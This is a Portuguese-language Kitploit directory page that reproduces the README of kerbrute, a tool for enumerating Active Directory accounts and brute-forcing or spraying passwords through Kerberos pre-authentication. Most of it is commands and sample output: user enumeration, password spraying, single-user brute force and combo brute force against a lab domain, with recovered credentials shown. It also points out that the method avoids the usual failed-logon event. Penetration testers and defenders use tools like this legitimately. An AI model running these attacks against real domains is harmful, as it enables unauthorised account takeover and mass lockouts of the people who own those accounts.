Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
kerbrute — Uma ferramenta para realizar força bruta na pré-autenticação Kerberos | Kitploit
Ferramentas/GitHubGitHub/ropnop/kerbrute
ReconhecimentoAtaques de SenhaColeta de InformaçõesAutenticação
GitHubropnop/kerbrute

kerbrute

Uma ferramenta para realizar força bruta na pré-autenticação Kerberos

Ver Repositório
3.4k485há 5 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Kerbrute

CircleCI

Uma ferramenta para realizar ataques de força bruta e enumerar rapidamente contas válidas do Active Directory através da Pré-Autenticação Kerberos.

Baixe os binários mais recentes na página de releases para começar.

Contexto

Esta ferramenta surgiu de alguns scripts em bash que escrevi há alguns anos para realizar força bruta usando o cliente Kerberos Heimdal do Linux. Queria algo que não exigisse privilégios para instalar um cliente Kerberos e, quando encontrei a incrível implementação pura em Go do Kerberos, gokrb5, decidi finalmente aprender Go e escrever isso.

Forçar senhas do Windows com Kerberos é muito mais rápido do que qualquer outra abordagem que conheço e potencialmente mais discreto, pois falhas de pré-autenticação não geram o evento "tradicional" An account failed to log on 4625. Com Kerberos, você pode validar um nome de usuário ou testar um login enviando apenas um quadro UDP para o KDC (Controlador de Domínio).

Para mais contexto e informações, confira minha palestra no Troopers 2019, Fun with LDAP and Kerberos (link a definir)

Uso

O Kerbrute possui três comandos principais:

  • bruteuser - Força bruta da senha de um único usuário a partir de uma wordlist
  • bruteforce - Lê combinações usuário:senha de um arquivo ou stdin e as testa
  • passwordspray - Testa uma única senha contra uma lista de usuários
  • userenum - Enumera nomes de usuários válidos do domínio via Kerberos

Um domínio (-d) ou um controlador de domínio (--dc) deve ser especificado. Se um Controlador de Domínio não for informado, o KDC será resolvido via DNS.

Por padrão, o Kerbrute é multithread e usa 10 threads. Isso pode ser alterado com a opção -t.

A saída é registrada no stdout, mas um arquivo de log pode ser especificado com -o.

Por padrão, falhas não são registradas, mas isso pode ser alterado com -v.

Por último, o Kerbrute possui uma opção --safe. Quando ativada, se uma conta retornar como bloqueada, todas as threads serão abortadas para evitar o bloqueio de outras contas.

O comando help pode ser usado para mais informações

root@kitploit:~
$ ./kerbrute -h

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (bc1d606) - 11/15/20 - Ronnie Flathers @ropnop

This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication.
It is designed to be used on an internal Windows domain with access to one of the Domain Controllers.
Warning: failed Kerberos Pre-Auth counts as a failed login and WILL lock out accounts

Usage:
  kerbrute [command]

Available Commands:
  bruteforce    Bruteforce username:password combos, from a file or stdin
  bruteuser     Bruteforce a single user's password from a wordlist
  help          Help about any command
  passwordspray Test a single password against a list of users
  userenum      Enumerate valid domain usernames via Kerberos
  version       Display version info and quit

Flags:
      --dc string          The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS
      --delay int          Delay in millisecond between each attempt. Will always use single thread if set
  -d, --domain string      The full domain to use (e.g. contoso.com)
      --downgrade          Force downgraded encryption type (arcfour-hmac-md5)
      --hash-file string   File to save AS-REP hashes to (if any captured), otherwise just logged
  -h, --help               help for kerbrute
  -o, --output string      File to write logs to. Optional.
      --safe               Safe mode. Will abort if any user comes back as locked out. Default: FALSE
  -t, --threads int        Threads to use (default 10)
  -v, --verbose            Log failures and errors

Use "kerbrute [command] --help" for more information about a command.

Enumeração de Usuários

Para enumerar nomes de usuários, o Kerbrute envia solicitações TGT sem pré-autenticação. Se o KDC responder com um erro PRINCIPAL UNKNOWN, o nome de usuário não existe. No entanto, se o KDC solicitar pré-autenticação, sabemos que o nome de usuário existe e seguimos em frente. Isso não causa falhas de login, portanto, não bloqueará nenhuma conta. Isso gera o evento do Windows ID 4768 se o log do Kerberos estiver ativado.

root@kitploit:~
root@kali:~# ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop

2019/03/06 21:28:04 >  Using KDC(s):
2019/03/06 21:28:04 >   pdc01.lab.ropnop.com:88

2019/03/06 21:28:04 >  [+] VALID USERNAME:       [email protected]
2019/03/06 21:28:04 >  [+] VALID USERNAME:       [email protected]
2019/03/06 21:28:04 >  Done! Tested 1001 usernames (2 valid) in 0.425 seconds

Pulverização de Senhas

Com passwordspray, o Kerbrute realizará um ataque de força bruta horizontal contra uma lista de usuários do domínio. Isso é útil para testar uma ou duas senhas comuns quando você possui uma lista grande de usuários. AVISO: isso irá incrementar o contador de logins com falha e bloqueará as contas. Isso gerará ambos os IDs de evento 4768 - Um ticket de autenticação Kerberos (TGT) foi solicitado e 4771 - A pré-autenticação Kerberos falhou

root@kitploit:~
root@kali:~# ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop

2019/03/06 21:37:29 >  Using KDC(s):
2019/03/06 21:37:29 >   pdc01.lab.ropnop.com:88

2019/03/06 21:37:35 >  [+] VALID LOGIN:  [email protected]:Password123
2019/03/06 21:37:37 >  [+] VALID LOGIN:  [email protected]:Password123
2019/03/06 21:37:37 >  Done! Tested 2755 logins (2 successes) in 7.674 seconds

Usuário com Força Bruta

Este é um ataque de força bruta tradicional contra um nome de usuário. Execute isso apenas se tiver certeza de que não há política de bloqueio! Isso gerará ambos os IDs de evento 4768 - Um ticket de autenticação Kerberos (TGT) foi solicitado e 4771 - A pré-autenticação Kerberos falhou

root@kitploit:~
root@kali:~# ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop

2019/03/06 21:38:24 >  Using KDC(s):
2019/03/06 21:38:24 >   pdc01.lab.ropnop.com:88

2019/03/06 21:38:27 >  [+] VALID LOGIN:  [email protected]:Summer2017
2019/03/06 21:38:27 >  Done! Tested 1001 logins (1 successes) in 2.711 seconds

Força Bruta

Este modo simplesmente lê combinações de usuário e senha (no formato usuário:senha) de um arquivo ou do stdin e as testa com a Pré-Autenticação Kerberos. Ele ignorará linhas em branco ou linhas com usuários/senhas vazios. Isso gerará ambos os IDs de evento 4768 - Um ticket de autenticação Kerberos (TGT) foi solicitado e 4771 - A pré-autenticação Kerberos falhou

root@kitploit:~
$ cat combos.lst | ./kerbrute -d lab.ropnop.com bruteforce -

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (n/a) - 05/11/19 - Ronnie Flathers @ropnop

2019/05/11 18:40:56 >  Using KDC(s):
2019/05/11 18:40:56 >   pdc01.lab.ropnop.com:88

2019/05/11 18:40:56 >  [+] VALID LOGIN:  [email protected]:Password1234
2019/05/11 18:40:56 >  Done! Tested 7 logins (1 successes) in 0.114 seconds

Instalação

Você pode baixar os binários pré-compilados para Linux, Windows e Mac na página de releases. Se quiser viver no limite, você também pode instalar com Go:

root@kitploit:~
$ go get github.com/ropnop/kerbrute

Com o repositório clonado, você também pode usar o Makefile para compilar para arquiteturas comuns:

root@kitploit:~
$ make help
help:            Show this help.
windows:  Make Windows x86 and x64 Binaries
linux:  Make Linux x86 and x64 Binaries
mac:  Make Darwin (Mac) x86 and x64 Binaries
clean:  Delete any binaries
all:  Make Windows, Linux and Mac x86/x64 Binaries

$ make all
Done.
Building for windows amd64..
Building for windows 386..
Done.
Building for linux amd64...
Building for linux 386...
Done.
Building for mac amd64...
Building for mac 386...
Done.

$ ls dist/
kerbrute_darwin_386        kerbrute_linux_386         kerbrute_windows_386.exe
kerbrute_darwin_amd64      kerbrute_linux_amd64       kerbrute_windows_amd64.exe

Créditos

Um grande agradecimento ao jcmturner por sua implementação pura em Go do KRB5: https://github.com/jcmturner/gokrb5 . Um projeto incrível e muito bem documentado. Não teria conseguido nada disso sem esse projeto.

Agradecimento ao audibleblink pela sugestão e implementação da opção delay!

Baixar ferramenta